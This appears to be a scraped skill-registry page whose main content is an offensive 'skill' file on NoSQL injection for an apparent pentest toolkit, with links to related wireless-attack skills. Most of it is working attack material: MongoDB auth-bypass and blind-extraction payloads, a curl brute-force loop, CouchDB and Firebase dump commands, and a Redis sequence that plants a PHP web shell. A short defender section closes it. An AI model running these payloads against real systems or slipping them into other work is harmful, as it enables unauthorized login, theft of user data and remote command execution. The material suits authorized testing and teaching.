[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M7DFS2FKBA03SHFNTMX3581M":3,"skill-same:01M7DFS2FKBA03SHFNTMX3581M":49},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":16,"categories":17,"keywords":18,"publishedAt":19,"linkOnly":20,"markdownContent":21,"markdownBody":22,"frontMatter":23,"refName":29,"commitSha":30,"skillDirectory":31,"forksCount":14,"repositoryHtmlUrl":32,"repositoryHomepageUrl":6,"ownerHtmlUrl":33,"ownerBlogUrl":6,"ownerDescription":6,"updatedAt":34,"install":35,"resources":48},"01M7DFS2FKBA03SHFNTMX3581M","nosqli",null,"NoSQL injection — MongoDB operator injection ($ne, $gt, $where, $regex), CouchDB \u002F Firebase \u002F Redis attack patterns, auth bypass, blind extraction.","Akapi895\u002Fraptix","Akapi895","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F83953516?v=4","01M7DEGNDGERR4F4YETDFVA512","Phạm Anh Tuấn","01M7DEGNEHYZNA920AYM5EH7H8",0,"Apache-2.0","https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix\u002Fblob\u002Fmaster\u002Fpackages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fexploit\u002Fweb\u002Fnosqli\u002FSKILL.md",[],[],"2026-11-15 14:19:17",false,"---\nname: nosqli\ndescription: NoSQL injection — MongoDB operator injection ($ne, $gt, $where, $regex), CouchDB \u002F Firebase \u002F Redis attack patterns, auth bypass, blind extraction.\nmetadata:\n  when_to_use: \"nosql mongodb mongo couch redis firebase $ne $gt $where injection\"\n  mitre_attack: T1190, T1212\n  subdomain: injection\n  upstream_ref: skills\u002F_corpus\u002Fpayloads\u002FNoSQL Injection\u002F\n---\n\n# NoSQL Injection\n\nNoSQL stores parse JSON \u002F native objects. When user input becomes part\nof a query object (not just a value), control flows into the query.\n\n## 1. MongoDB — most common target\n\n### Auth bypass\n```json\n\u002F\u002F Vulnerable: db.users.findOne({user: req.body.user, pass: req.body.pass})\nPOST \u002Flogin\n{\"user\": {\"$ne\": null}, \"pass\": {\"$ne\": null}}      \u002F\u002F returns first user\n{\"user\": \"admin\", \"pass\": {\"$gt\": \"\"}}              \u002F\u002F admin if pw exists\n{\"user\": \"admin\", \"pass\": {\"$regex\": \"^A\"}}         \u002F\u002F blind char extraction\n```\n\n**If a strict-typed JSON body rejects the operator object** (the API validates the field as a plain string before it reaches the query), try the SAME operators via bracket-notation form encoding instead — `body-parser`\u002F`qs`-style middleware (Express, and PHP's native parser) decode `field[$op]=value` into exactly the nested object a JSON body would have carried, and it reaches a different validation code path than `application\u002Fjson`:\n```\nusername[$ne]=invalid&password[$ne]=invalid\n```\nAlso try the reverse direction (JSON body when the endpoint's documented content-type is form-encoded) — different middleware handles each shape differently, and an endpoint hardened against one often isn't hardened against the other.\n\n### Aggregation \u002F lookup endpoints\nAny endpoint whose filter\u002Fsort\u002Fmatch parameter reaches an aggregation pipeline (not just a plain `find()`) accepts the same operator payloads, and `$lookup.from` specifically can pivot the query to a DIFFERENT collection than the one the endpoint is nominally scoped to — e.g. a \"my orders\" lookup that lets you redirect the join into the `users` collection instead:\n```json\n{\"$lookup\": {\"from\": \"users\", \"localField\": \"userId\", \"foreignField\": \"_id\", \"as\": \"joined\"}}\n```\n\n### GraphQL resolver pass-through\nWhen the app has a GraphQL endpoint, a resolver that passes its input variable straight into a backing NoSQL filter is a common chained vector — operator objects work in a GraphQL variable exactly as they would in a REST JSON body:\n```graphql\nquery Login($input: UserFilter!) { user(filter: $input) { id role } }\n```\n```json\n{\"input\": {\"username\": \"admin\", \"password\": {\"$ne\": \"\"}}}\n```\nUse introspection (`__schema`, `__type`) to find which input types accept arbitrary nested objects — those are the candidates.\n\n### Server-side JS injection\n```json\n{\"$where\": \"this.user == 'admin' && sleep(5000)\"}   \u002F\u002F time-based\n{\"$where\": \"function() { return this.user.length > 0 && this.user.match(\u002F^a\u002F) }\"}\n```\n`$where` was deprecated in Mongo 4.4 — still appears in legacy.\n\n### Operator extraction (blind)\n```bash\n# Burp Intruder w\u002F payload list\nfor char in {a..z}; do\n  curl -s -X POST $TARGET\u002Flogin \\\n    -d \"{\\\"user\\\":\\\"admin\\\",\\\"pass\\\":{\\\"\\$regex\\\":\\\"^${char}\\\"}}\" \\\n    | grep -q \"success\" && echo \"char: $char\"\ndone\n```\n\n## 2. CouchDB\n```bash\n# Admin party (no auth required)\ncurl http:\u002F\u002Ftarget:5984\u002F_all_dbs\ncurl http:\u002F\u002Ftarget:5984\u002F_users\u002F_all_docs\n# Then read\u002Fmodify any document\n```\n\n## 3. Firebase Realtime Database\n```bash\n# Public-read databases (most common misconfig)\ncurl https:\u002F\u002FYOUR-FIREBASE-PROJECT.firebaseio.com\u002F.json\n# Returns entire DB if rules are \"true\"\n```\n\n## 4. Redis\n```bash\n# Unauth Redis (still common on internal nets, occasionally exposed)\nredis-cli -h target -p 6379 INFO\n# Module loading attack if running as root + module dir writable\nredis-cli -h target FLUSHALL\nredis-cli -h target SET dir \u002Fvar\u002Fwww\u002Fhtml\nredis-cli -h target SET dbfilename shell.php\nredis-cli -h target SET payload \"\u003C?php system($_GET['c']); ?>\"\nredis-cli -h target SAVE\n```\n\n## 5. Tools\n\n- **NoSQLMap** — automated mongo injection (`nosqlmap.py`)\n- **mongoaudit** — config scanner\n- Burp Intruder w\u002F payloads\u002FNoSQL Injection\u002F as wordlist\n- **fuzzdb** — has NoSQL payload variants\n\n## 6. PoC\n\n```bash\n# Mongo auth bypass via curl\ncurl -s -X POST $TARGET\u002Fapi\u002Flogin \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"username\": {\"$ne\": null}, \"password\": {\"$ne\": null}}' \\\n  | jq\n\n# If logged-in-as-admin → critical\n```\n\n## 7. Severity\n\n| Bug | Severity |\n|---|---|\n| Auth bypass via `$ne` | Critical 9.8 |\n| Blind char extraction of all user data | Critical 9.0 |\n| `$where` JS injection → RCE-adjacent (mongo runs the JS) | Critical 9.8 |\n| Public CouchDB \u002F Firebase | Critical (depends on data sensitivity) |\n| Unauth Redis on internal net | High 7-8 |\n\n## 8. Defender\n\n```javascript\n\u002F\u002F Sanitize\u002Ftypecheck before query\nif (typeof req.body.user !== 'string') return res.status(400).send();\nif (typeof req.body.pass !== 'string') return res.status(400).send();\n\n\u002F\u002F Or use parameterized queries \u002F Mongo ODM (Mongoose schemas)\nUser.findOne({user: req.body.user}).select('+password');\n\n\u002F\u002F Disable $where globally\nmongoose.set('strictQuery', true);\n```\n\n## Cross-references\n- Upstream catalog: `skills\u002F_corpus\u002Fpayloads\u002FNoSQL Injection\u002F`\n- SQLi (different attack class, similar mindset): `skills\u002Fexploit\u002Fweb\u002Fsqli.md`\n- Bracket-notation form encoding, aggregation `$lookup` pivoting, and GraphQL resolver pass-through above adapted from a sibling project's deeper NoSQL-injection playbook (strix)\n","# NoSQL Injection\n\nNoSQL stores parse JSON \u002F native objects. When user input becomes part\nof a query object (not just a value), control flows into the query.\n\n## 1. MongoDB — most common target\n\n### Auth bypass\n```json\n\u002F\u002F Vulnerable: db.users.findOne({user: req.body.user, pass: req.body.pass})\nPOST \u002Flogin\n{\"user\": {\"$ne\": null}, \"pass\": {\"$ne\": null}}      \u002F\u002F returns first user\n{\"user\": \"admin\", \"pass\": {\"$gt\": \"\"}}              \u002F\u002F admin if pw exists\n{\"user\": \"admin\", \"pass\": {\"$regex\": \"^A\"}}         \u002F\u002F blind char extraction\n```\n\n**If a strict-typed JSON body rejects the operator object** (the API validates the field as a plain string before it reaches the query), try the SAME operators via bracket-notation form encoding instead — `body-parser`\u002F`qs`-style middleware (Express, and PHP's native parser) decode `field[$op]=value` into exactly the nested object a JSON body would have carried, and it reaches a different validation code path than `application\u002Fjson`:\n```\nusername[$ne]=invalid&password[$ne]=invalid\n```\nAlso try the reverse direction (JSON body when the endpoint's documented content-type is form-encoded) — different middleware handles each shape differently, and an endpoint hardened against one often isn't hardened against the other.\n\n### Aggregation \u002F lookup endpoints\nAny endpoint whose filter\u002Fsort\u002Fmatch parameter reaches an aggregation pipeline (not just a plain `find()`) accepts the same operator payloads, and `$lookup.from` specifically can pivot the query to a DIFFERENT collection than the one the endpoint is nominally scoped to — e.g. a \"my orders\" lookup that lets you redirect the join into the `users` collection instead:\n```json\n{\"$lookup\": {\"from\": \"users\", \"localField\": \"userId\", \"foreignField\": \"_id\", \"as\": \"joined\"}}\n```\n\n### GraphQL resolver pass-through\nWhen the app has a GraphQL endpoint, a resolver that passes its input variable straight into a backing NoSQL filter is a common chained vector — operator objects work in a GraphQL variable exactly as they would in a REST JSON body:\n```graphql\nquery Login($input: UserFilter!) { user(filter: $input) { id role } }\n```\n```json\n{\"input\": {\"username\": \"admin\", \"password\": {\"$ne\": \"\"}}}\n```\nUse introspection (`__schema`, `__type`) to find which input types accept arbitrary nested objects — those are the candidates.\n\n### Server-side JS injection\n```json\n{\"$where\": \"this.user == 'admin' && sleep(5000)\"}   \u002F\u002F time-based\n{\"$where\": \"function() { return this.user.length > 0 && this.user.match(\u002F^a\u002F) }\"}\n```\n`$where` was deprecated in Mongo 4.4 — still appears in legacy.\n\n### Operator extraction (blind)\n```bash\n# Burp Intruder w\u002F payload list\nfor char in {a..z}; do\n  curl -s -X POST $TARGET\u002Flogin \\\n    -d \"{\\\"user\\\":\\\"admin\\\",\\\"pass\\\":{\\\"\\$regex\\\":\\\"^${char}\\\"}}\" \\\n    | grep -q \"success\" && echo \"char: $char\"\ndone\n```\n\n## 2. CouchDB\n```bash\n# Admin party (no auth required)\ncurl http:\u002F\u002Ftarget:5984\u002F_all_dbs\ncurl http:\u002F\u002Ftarget:5984\u002F_users\u002F_all_docs\n# Then read\u002Fmodify any document\n```\n\n## 3. Firebase Realtime Database\n```bash\n# Public-read databases (most common misconfig)\ncurl https:\u002F\u002FYOUR-FIREBASE-PROJECT.firebaseio.com\u002F.json\n# Returns entire DB if rules are \"true\"\n```\n\n## 4. Redis\n```bash\n# Unauth Redis (still common on internal nets, occasionally exposed)\nredis-cli -h target -p 6379 INFO\n# Module loading attack if running as root + module dir writable\nredis-cli -h target FLUSHALL\nredis-cli -h target SET dir \u002Fvar\u002Fwww\u002Fhtml\nredis-cli -h target SET dbfilename shell.php\nredis-cli -h target SET payload \"\u003C?php system($_GET['c']); ?>\"\nredis-cli -h target SAVE\n```\n\n## 5. Tools\n\n- **NoSQLMap** — automated mongo injection (`nosqlmap.py`)\n- **mongoaudit** — config scanner\n- Burp Intruder w\u002F payloads\u002FNoSQL Injection\u002F as wordlist\n- **fuzzdb** — has NoSQL payload variants\n\n## 6. PoC\n\n```bash\n# Mongo auth bypass via curl\ncurl -s -X POST $TARGET\u002Fapi\u002Flogin \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"username\": {\"$ne\": null}, \"password\": {\"$ne\": null}}' \\\n  | jq\n\n# If logged-in-as-admin → critical\n```\n\n## 7. Severity\n\n| Bug | Severity |\n|---|---|\n| Auth bypass via `$ne` | Critical 9.8 |\n| Blind char extraction of all user data | Critical 9.0 |\n| `$where` JS injection → RCE-adjacent (mongo runs the JS) | Critical 9.8 |\n| Public CouchDB \u002F Firebase | Critical (depends on data sensitivity) |\n| Unauth Redis on internal net | High 7-8 |\n\n## 8. Defender\n\n```javascript\n\u002F\u002F Sanitize\u002Ftypecheck before query\nif (typeof req.body.user !== 'string') return res.status(400).send();\nif (typeof req.body.pass !== 'string') return res.status(400).send();\n\n\u002F\u002F Or use parameterized queries \u002F Mongo ODM (Mongoose schemas)\nUser.findOne({user: req.body.user}).select('+password');\n\n\u002F\u002F Disable $where globally\nmongoose.set('strictQuery', true);\n```\n\n## Cross-references\n- Upstream catalog: `skills\u002F_corpus\u002Fpayloads\u002FNoSQL Injection\u002F`\n- SQLi (different attack class, similar mindset): `skills\u002Fexploit\u002Fweb\u002Fsqli.md`\n- Bracket-notation form encoding, aggregation `$lookup` pivoting, and GraphQL resolver pass-through above adapted from a sibling project's deeper NoSQL-injection playbook (strix)\n",{"name":5,"metadata":24,"description":7},{"subdomain":25,"when_to_use":26,"mitre_attack":27,"upstream_ref":28},"injection","nosql mongodb mongo couch redis firebase $ne $gt $where injection","T1190, T1212","skills\u002F_corpus\u002Fpayloads\u002FNoSQL Injection\u002F","master","8e5d356b795eae2edd4a26509a4b8968e2c4c251","packages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fexploit\u002Fweb\u002Fnosqli","https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix","https:\u002F\u002Fgithub.com\u002FAkapi895","2026-11-06 17:46:09",{"source":8,"skillName":5,"commands":36,"prompt":46,"zipAvailable":47},[37,40,43],{"tool":38,"command":39},"npx","npx skills add Akapi895\u002Fraptix --skill nosqli",{"tool":41,"command":42},"bunx","bunx skills add Akapi895\u002Fraptix --skill nosqli",{"tool":44,"command":45},"pnpm","pnpm dlx skills add Akapi895\u002Fraptix --skill nosqli","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix\u002Fblob\u002Fmaster\u002Fpackages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fexploit\u002Fweb\u002Fnosqli\u002FSKILL.md",true,[],[50,57,64,71,78,85],{"skillNo":51,"name":52,"nameZh":6,"description":53,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":54,"categories":55,"keywords":56,"publishedAt":19},"01M7DGM32SRP4FZSPYWY621BKQ","wps-pixie-dust","WPS Pixie-Dust offline nonce attack (reaver -K \u002F pixiewps) and fallback online PIN brute (bully) to recover the AP's WPA PSK without capturing a handshake.","https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix\u002Fblob\u002Fmaster\u002Fpackages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fwireless\u002Fwps-pixie-dust\u002FSKILL.md",[],[],{"skillNo":58,"name":59,"nameZh":6,"description":60,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":61,"categories":62,"keywords":63,"publishedAt":19},"01M7DGKXXVDTY0KBZZR83VFPZX","wpa3-sae","WPA3-SAE transition-mode downgrade (DragonShift), SSID Confusion CVE-2023-52424, Dragonblood side-channels, and SAE captive-portal credential recovery against WPA3-Personal networks.","https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix\u002Fblob\u002Fmaster\u002Fpackages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fwireless\u002Fwpa3-sae\u002FSKILL.md",[],[],{"skillNo":65,"name":66,"nameZh":6,"description":67,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":68,"categories":69,"keywords":70,"publishedAt":19},"01M7DGKSV77ENX3D6TG2HQX9MK","wpa2-psk","WPA\u002FWPA2-PSK handshake capture via targeted deauth + PMKID (no deauth required) + offline hashcat cracking. The most common consumer\u002FSMB encryption mode in 2026.","https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix\u002Fblob\u002Fmaster\u002Fpackages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fwireless\u002Fwpa2-psk\u002FSKILL.md",[],[],{"skillNo":72,"name":73,"nameZh":6,"description":74,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":75,"categories":76,"keywords":77,"publishedAt":19},"01M7DGKJ9R6YTFRFBSEAJRGGKF","wpa-enterprise-eap","WPA\u002FWPA2\u002FWPA3-Enterprise (802.1X\u002FEAP) rogue-RADIUS evil-twin for MSCHAPv2 capture, GTC downgrade, and PEAP relay. MSCHAPv2 capture equals a NetNTLM hash — the primary wireless on-ramp to Active Directory.","https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix\u002Fblob\u002Fmaster\u002Fpackages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fwireless\u002Fwpa-enterprise-eap\u002FSKILL.md",[],[],{"skillNo":79,"name":80,"nameZh":6,"description":81,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":82,"categories":83,"keywords":84,"publishedAt":19},"01M7DGKCFZGKK2EQMWZM1A18S8","krack-fragattacks","KRACK key-reinstallation (CVE-2017-13077..13082) and FragAttacks fragmentation\u002Faggregation flaws (CVE-2020-24586..24588, CVE-2020-26139..26147) against legacy or embedded 802.11 supplicants with poor patch cadence.","https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix\u002Fblob\u002Fmaster\u002Fpackages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fwireless\u002Fkrack-fragattacks\u002FSKILL.md",[],[],{"skillNo":86,"name":87,"nameZh":6,"description":88,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":89,"categories":90,"keywords":91,"publishedAt":19},"01M7DGK76MKZQWBXTZN82W7214","evil-twin-karma","Evil-twin rogue AP with KARMA\u002FMana PNL-probe response, captive-portal credential capture, and post-association MITM for PSK\u002Fopen networks. Distinct from wpa-enterprise-eap which targets 802.1X.","https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix\u002Fblob\u002Fmaster\u002Fpackages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fwireless\u002Fevil-twin-karma\u002FSKILL.md",[],[]]